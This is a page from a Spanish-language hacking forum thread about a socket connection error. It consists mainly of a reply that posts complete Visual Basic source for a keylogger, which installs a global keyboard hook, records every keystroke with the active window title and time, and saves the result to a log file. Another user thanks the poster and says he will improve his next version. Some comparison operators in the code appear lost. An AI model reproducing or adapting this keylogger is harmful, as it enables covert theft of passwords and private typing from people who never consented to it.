elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Error de restablecimiento de conexion con csocketmaster
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Error de restablecimiento de conexion con csocketmaster  (Leído 2,879 veces)
YST


Desconectado Desconectado

Mensajes: 965


I'm you


Ver Perfil WWW
Re: Error de restablecimiento de conexion con csocketmaster
« Respuesta #10 en: 2 Junio 2009, 21:32 pm »

Código
  1. Option Explicit
  2.  
  3. ‘|||||||||||||||||||||||
  4. ‘| |
  5. ‘|Autor: Karcrack |
  6. ‘|Fecha: 24/09/08 |
  7. ‘| |
  8. ‘|||||||||||||||||||||||
  9.  
  10. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  11. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  12. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  13. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  14. Private Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
  15. Private Const WH_KEYBOARD_LL As Long = 13
  16.  
  17. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  18. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  19.  
  20. Public Type KBDLLHOOKSTRUCT
  21. VkCode As Long
  22. ScanCode As Long
  23. Flags As Long
  24. Time As Long
  25. DwExtraInfo As Long
  26. End Type
  27.  
  28. Dim KBHook As Long
  29. Dim KeyData As String
  30. Dim lHwnd As Long
  31.  
  32. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  33. Select Case Enable
  34. Case True
  35. KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  36. Case False
  37. Call UnhookWindowsHookEx(KBHook)
  38. End Select
  39. End Sub
  40.  
  41. Public Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  42. Dim KeyBoardHook As KBDLLHOOKSTRUCT
  43.  
  44. If nCode = 0 Then
  45. CopyMemory KeyBoardHook, lParam, Len(KeyBoardHook)
  46. With KeyBoardHook
  47. If .Flags = 0 Or .Flags = 1 Then
  48. If SaveLog(TranslateKey(.VkCode)) > 50 Then
  49. Call LogToFile(App.Path & "\\Log.log")
  50. End If
  51. End If
  52. End With
  53. Else
  54. KBProc = CallNextHookEx(KBHook, nCode, wParam, lParam)
  55. End If
  56. End Function
  57.  
  58. Private Function TranslateKey(ByVal KeyCode As Long) As String
  59. Dim LngShift As Long
  60.  
  61. ‘Funcion optimizada para su uso en teclados españoles.
  62.  
  63. LngShift = GetAsyncKeyState(vbKeyShift)
  64. If KeyCode >= 58 And KeyCode <= 90 Then
  65. TranslateKey = IIf(LngShift 0, UCase(Chr(KeyCode)), LCase(Chr(KeyCode)))
  66. ElseIf KeyCode >= 96 And KeyCode = 112 And KeyCode <= 123 Then
  67. TranslateKey = "{F" & KeyCode - 111 & "}"
  68. Else
  69. If KeyCode = 160 Then TranslateKey = ""
  70. If KeyCode = 161 Then TranslateKey = "{SHIFT DER.}"
  71. If KeyCode = 38 Then TranslateKey = "{FLECHA ARRIBA}"
  72. If KeyCode = 40 Then TranslateKey = "{FLECHA ABAJO}"
  73. If KeyCode = 37 Then TranslateKey = "{FLECHA IZQ.}"
  74. If KeyCode = 39 Then TranslateKey = "{FLECHA DER.}"
  75. If KeyCode = 32 Then TranslateKey = "{ESPACIO}"
  76. If KeyCode = 27 Then TranslateKey = "{ESC}"
  77. If KeyCode = 46 Then TranslateKey = "{DEL}"
  78. If KeyCode = 36 Then TranslateKey = "{HOME}"
  79. If KeyCode = 35 Then TranslateKey = "{END}"
  80. If KeyCode = 33 Then TranslateKey = "{PAGE UP}"
  81. If KeyCode = 34 Then TranslateKey = "{PAGE DOWN}"
  82. If KeyCode = 45 Then TranslateKey = "{PASTE}"
  83. If KeyCode = 144 Then TranslateKey = "{NUM}"
  84. If KeyCode = 111 Then TranslateKey = "{NUMPAD / }"
  85. If KeyCode = 106 Then TranslateKey = "{NUMPAD * }"
  86. If KeyCode = 109 Then TranslateKey = "{NUMPAD - }"
  87. If KeyCode = 107 Then TranslateKey = "{NUMPAD + }"
  88. If KeyCode = 13 Then TranslateKey = "{ENTER}"
  89. If KeyCode = 8 Then TranslateKey = "{BACK}"
  90. If KeyCode = 221 Then TranslateKey = "{ACCENTO}"
  91. If KeyCode = 9 Then TranslateKey = "{TAB}"
  92. If KeyCode = 20 Then TranslateKey = "{BLOQ. MAYUS}"
  93. If KeyCode = 162 Then TranslateKey = "{STRG LEFT}"
  94. If KeyCode = 163 Then TranslateKey = "{STRG DER.}"
  95. If KeyCode = 91 Then TranslateKey = "{WINDOWS}"
  96. If KeyCode = 164 Then TranslateKey = "{ALT}"
  97. If KeyCode = 165 Then TranslateKey = "{ALTGR}"
  98. If KeyCode = 93 Then TranslateKey = "{MENU CONTEXTUAL}"
  99. If KeyCode = 188 Then TranslateKey = IIf(LngShift 0, ";", ",")
  100. If KeyCode = 190 Then TranslateKey = IIf(LngShift 0, ":", ".")
  101. If KeyCode = 189 Then TranslateKey = IIf(LngShift 0, "_", "-")
  102. If KeyCode = 191 Then TranslateKey = IIf(LngShift 0, "‘", "#")
  103. If KeyCode = 187 Then TranslateKey = IIf(LngShift 0, "*", "+")
  104. If KeyCode = 186 Then TranslateKey = IIf(LngShift 0, "Ü", "ü")
  105. If KeyCode = 192 Then TranslateKey = IIf(LngShift 0, "Ö", "ö")
  106. If KeyCode = 222 Then TranslateKey = IIf(LngShift 0, "Ä", "ä")
  107. If KeyCode = 219 Then TranslateKey = IIf(LngShift 0, "?", "ß")
  108. If KeyCode = 220 Then TranslateKey = IIf(LngShift 0, "°", "^")
  109. If KeyCode = 48 Then TranslateKey = IIf(LngShift 0, "=", "0")
  110. If KeyCode = 49 Then TranslateKey = IIf(LngShift 0, "!", "1")
  111. If KeyCode = 50 Then TranslateKey = IIf(LngShift 0, """", "2")
  112. If KeyCode = 51 Then TranslateKey = IIf(LngShift 0, "§", "3")
  113. If KeyCode = 52 Then TranslateKey = IIf(LngShift 0, "$", "4")
  114. If KeyCode = 53 Then TranslateKey = IIf(LngShift 0, "%", "5")
  115. If KeyCode = 54 Then TranslateKey = IIf(LngShift 0, "&", "6")
  116. If KeyCode = 55 Then TranslateKey = IIf(LngShift 0, "/", "7")
  117. If KeyCode = 56 Then TranslateKey = IIf(LngShift 0, "(", "8")
  118. If KeyCode = 57 Then TranslateKey = IIf(LngShift 0, ")", "9")
  119. If KeyCode = 145 Then TranslateKey = "{ROLL}"
  120. If KeyCode = 44 Then TranslateKey = "{PRINT}"
  121. If KeyCode = 19 Then TranslateKey = "{PAUSE}"
  122. If TranslateKey = "" And KeyCode 160 Then TranslateKey = KeyCode
  123. End If
  124. End Function
  125.  
  126. Public Function SaveLog(ByVal sKey As String) As Double
  127. Dim aHwnd As Long
  128. Dim WinText As String
  129. aHwnd = GetForegroundWindow
  130.  
  131. If aHwnd lHwnd Then
  132. lHwnd = aHwnd
  133. WinText = String$(255, Chr$(0))
  134. Call GetWindowText(aHwnd, WinText, Len(WinText))
  135. WinText = Left$(WinText, InStr(WinText, Chr$(0)) - 1)
  136.  
  137. KeyData = KeyData & vbCrLf & "{" & WinText & "} - [" & Now() & "]" & vbCrLf
  138. End If
  139.  
  140. KeyData = KeyData & sKey
  141.  
  142. SaveLog = Len(KeyData)
  143. End Function
  144.  
  145. Public Sub LogToFile(ByVal sPath As String)
  146. Open sPath For Binary As #1
  147. Put #1, , KeyData
  148. Close #1
  149. End Sub
  150.  


En línea



Yo le enseñe a Kayser a usar objetos en ASM
50l3r


Desconectado Desconectado

Mensajes: 784


Solo se que se algo pero no me acuerdo


Ver Perfil WWW
Re: Error de restablecimiento de conexion con csocketmaster
« Respuesta #11 en: 2 Junio 2009, 21:56 pm »

gracias jeje, para la siguiente version lo mejorare  ;)


En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Problema CSocketMaster y multi-conexion
Programación Visual Basic
|SMT| 1 2,107 Último mensaje 5 Noviembre 2013, 15:37 pm
por MCKSys Argentina
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines